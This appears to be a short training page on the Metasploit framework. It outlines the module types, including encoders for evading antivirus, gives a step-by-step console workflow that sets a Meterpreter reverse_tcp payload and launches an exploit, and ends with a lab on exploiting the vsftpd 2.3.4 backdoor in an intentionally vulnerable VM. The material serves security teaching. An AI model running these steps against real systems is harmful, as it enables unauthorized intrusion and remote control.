Metasploit Architecture
- Exploit — Code that takes advantage of a vulnerability
- Payload — Code that runs on the target after exploitation (reverse shell, Meterpreter)
- Auxiliary — Scanners, fuzzers, and information gathering modules
- Post — Post-exploitation modules for privilege escalation, persistence
- Encoder — Obfuscates payload to evade antivirus detection
Metasploit Basic Workflow
|
Step |
Command |
Description |
|
1 |
msfconsole |
Launch the Metasploit console |
|
2 |
search <vulnerability> |
Search for relevant exploit modules |
|
3 |
use exploit/multi/handler |
Select an exploit or handler module |
|
4 |
show options |
View required and optional parameters |
|
5 |
set RHOSTS <target IP> |
Set the target IP address |
|
6 |
set PAYLOAD windows/meterpreter/reverse_tcp |
Choose the payload |
|
7 |
set LHOST <your IP> |
Set your listener IP (for reverse connections) |
|
8 |
exploit / run |
Launch the attack |
|
9 |
sessions -l |
List all active sessions |
|
10 |
sessions -i 1 |
Interact with session #1 |
|
Lab: Download Metasploitable 2 (intentionally vulnerable VM). Use Nmap to find open vulnerabilities, then use Metasploit to exploit vsftpd 2.3.4 backdoor. Document every step. |